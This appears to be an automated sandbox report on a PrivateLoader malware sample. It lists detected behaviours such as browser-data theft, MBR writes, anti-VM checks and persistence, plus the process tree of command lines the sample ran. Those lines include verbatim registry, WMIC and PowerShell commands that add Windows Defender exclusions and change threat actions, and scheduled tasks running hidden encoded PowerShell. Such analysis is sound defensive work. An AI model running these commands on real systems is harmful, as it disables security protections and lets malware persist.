Overview

overview

10

Static

static

10

fc44a0e816...13.exe

windows7-x64

10

fc44a0e816...13.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    25/05/2024, 02:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813.exe
  • Size 1.8MB
  • Sample240525-cmc8taba3w
  • SHA256 fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
privateloaderadwarebootkitdiscoveryevasionexecutionloaderpersistencespywarestealerthemidatrojan

Malware Config

Signatures

  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Windows security bypass 2 TTPs 40 IoCs
    evasiontrojan
  • Detects executables (downlaoders) containing URLs to raw contents of a paste 3 IoCs
  • Detects executables packed with Themida 7 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 8 IoCs
  • Modifies Installed Components in the registry 2 TTPs 6 IoCs
    persistence
  • Sets service image path in registry 2 TTPs 9 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies system executable filetype association 2 TTPs 2 IoCs
    persistence
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers COM server for autorun 1 TTPs 3 IoCs
    persistence
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unexpected DNS network traffic destination 4 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 25 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 6 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 29 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 64 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813.exe
    "C:\Users\Admin\AppData\Local\Temp\fc44a0e8161907e73f2e7f0ee5b264a8e2c78f5af3437c4cb25341661da8d813.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2600
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2808
      • C:\Users\Admin\Pictures\KZ2HC5rvyBpmQfj1zWsKgHrk.exe
        "C:\Users\Admin\Pictures\KZ2HC5rvyBpmQfj1zWsKgHrk.exe" /s
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Writes to the Master Boot Record (MBR)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2872
        • C:\Users\Admin\Pictures\360TS_Setup.exe
          "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2244
          • C:\Program Files (x86)\1716603181_0\360TS_Setup.exe
            "C:\Program Files (x86)\1716603181_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
            5⤵
            • Drops file in Drivers directory
            • Sets service image path in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Adds Run key to start application
            • Checks for any installed AV software in registry
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Drops file in Program Files directory
            • Checks processor information in registry
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: LoadsDriver
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:864
            • C:\Windows\SysWOW64\regsvr32.exe
              "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
              6⤵
              • Loads dropped DLL
              PID:1544
              • C:\Windows\system32\regsvr32.exe
                /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
                7⤵
                • Loads dropped DLL
                • Modifies system executable filetype association
                • Registers COM server for autorun
                • Modifies registry class
                PID:5252
            • C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
              "C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning
              6⤵
              • Executes dropped EXE
              PID:580
            • C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
              "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install
              6⤵
              • Drops file in Drivers directory
              • Sets service image path in registry
              • Executes dropped EXE
              • Modifies system certificate store
              PID:2396
            • C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
              "C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"
              6⤵
              • Modifies Installed Components in the registry
              • Executes dropped EXE
              • Drops file in Windows directory
              PID:3328
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst
                7⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:3420
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst
                7⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:3452
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -l roots.sst
                7⤵
                • Executes dropped EXE
                PID:3468
              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
                C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe -d delroots.sst
                7⤵
                • Executes dropped EXE
                PID:3484
      • C:\Users\Admin\Pictures\uyHlUnmsofIyko0LLGGZj3Lu.exe
        "C:\Users\Admin\Pictures\uyHlUnmsofIyko0LLGGZj3Lu.exe"
        3⤵
        • Modifies firewall policy service
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:620
      • C:\Users\Admin\Pictures\ZBtiz6mMUL2ESG1wLfZCQnOD.exe
        "C:\Users\Admin\Pictures\ZBtiz6mMUL2ESG1wLfZCQnOD.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:944
        • C:\Users\Admin\AppData\Local\Temp\7zS7A4E.tmp\Install.exe
          .\Install.exe /odidum "385118" /S
          4⤵
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • Enumerates system info in registry
          • Suspicious use of WriteProcessMemory
          PID:700
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1056
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1804
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:1380
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                  8⤵
                    PID:2296
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                6⤵
                  PID:2220
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                    7⤵
                      PID:1508
                      • \??\c:\windows\SysWOW64\reg.exe
                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                        8⤵
                          PID:888
                    • C:\Windows\SysWOW64\forfiles.exe
                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                      6⤵
                        PID:2436
                        • C:\Windows\SysWOW64\cmd.exe
                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                          7⤵
                            PID:1952
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                              8⤵
                                PID:1248
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                            6⤵
                              PID:1716
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                7⤵
                                  PID:2232
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    8⤵
                                      PID:2996
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                  6⤵
                                    PID:2052
                                    • C:\Windows\SysWOW64\cmd.exe
                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                      7⤵
                                        PID:1576
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                          8⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1712
                                          • C:\Windows\SysWOW64\gpupdate.exe
                                            "C:\Windows\system32\gpupdate.exe" /force
                                            9⤵
                                              PID:2772
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                      5⤵
                                        PID:2804
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          6⤵
                                            PID:2680
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2568
                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                8⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2592
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 02:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FtMcGJb.exe\" it /NWvdidYFSk 385118 /S" /V1 /F
                                          5⤵
                                          • Drops file in Windows directory
                                          • Creates scheduled task(s)
                                          PID:3068
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                          5⤵
                                            PID:3004
                                            • C:\Windows\SysWOW64\cmd.exe
                                              /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                              6⤵
                                                PID:3036
                                                • \??\c:\windows\SysWOW64\schtasks.exe
                                                  schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                  7⤵
                                                    PID:3044
                                      • C:\Windows\system32\taskeng.exe
                                        taskeng.exe {01E0B32E-E470-436E-81D2-2A76A922B90F} S-1-5-18:NT AUTHORITY\System:Service:
                                        1⤵
                                          PID:1240
                                          • C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FtMcGJb.exe
                                            C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\FtMcGJb.exe it /NWvdidYFSk 385118 /S
                                            2⤵
                                            • Executes dropped EXE
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            PID:1636
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                              3⤵
                                                PID:1808
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                  4⤵
                                                    PID:1448
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                      5⤵
                                                        PID:2612
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                          6⤵
                                                            PID:1592
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                        4⤵
                                                          PID:1776
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                            5⤵
                                                              PID:2724
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                6⤵
                                                                  PID:2740
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                              4⤵
                                                                PID:2856
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                  5⤵
                                                                    PID:2748
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                      6⤵
                                                                        PID:1704
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                    4⤵
                                                                      PID:1644
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                        5⤵
                                                                          PID:864
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                            6⤵
                                                                              PID:2224
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                          4⤵
                                                                            PID:1632
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                              5⤵
                                                                                PID:1532
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                  6⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2084
                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                    7⤵
                                                                                      PID:2088
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /CREATE /TN "glaBKFXFp" /SC once /ST 01:39:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                              3⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:1008
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /run /I /tn "glaBKFXFp"
                                                                              3⤵
                                                                                PID:980
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /DELETE /F /TN "glaBKFXFp"
                                                                                3⤵
                                                                                  PID:1148
                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                                  3⤵
                                                                                    PID:1504
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                      4⤵
                                                                                        PID:2436
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2040
                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                            6⤵
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:1664
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1612
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                          4⤵
                                                                                          • Windows security bypass
                                                                                          PID:832
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1056
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                            4⤵
                                                                                            • Windows security bypass
                                                                                            PID:1276
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:820
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                              4⤵
                                                                                                PID:1784
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:2480
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                  4⤵
                                                                                                    PID:2348
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd /C copy nul "C:\Windows\Temp\WPGfhLqOzAIwKSwi\TpGzbSmC\UknRBINbGwbTiUFH.wsf"
                                                                                                  3⤵
                                                                                                    PID:2712
                                                                                                  • C:\Windows\SysWOW64\wscript.exe
                                                                                                    wscript "C:\Windows\Temp\WPGfhLqOzAIwKSwi\TpGzbSmC\UknRBINbGwbTiUFH.wsf"
                                                                                                    3⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:2532
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
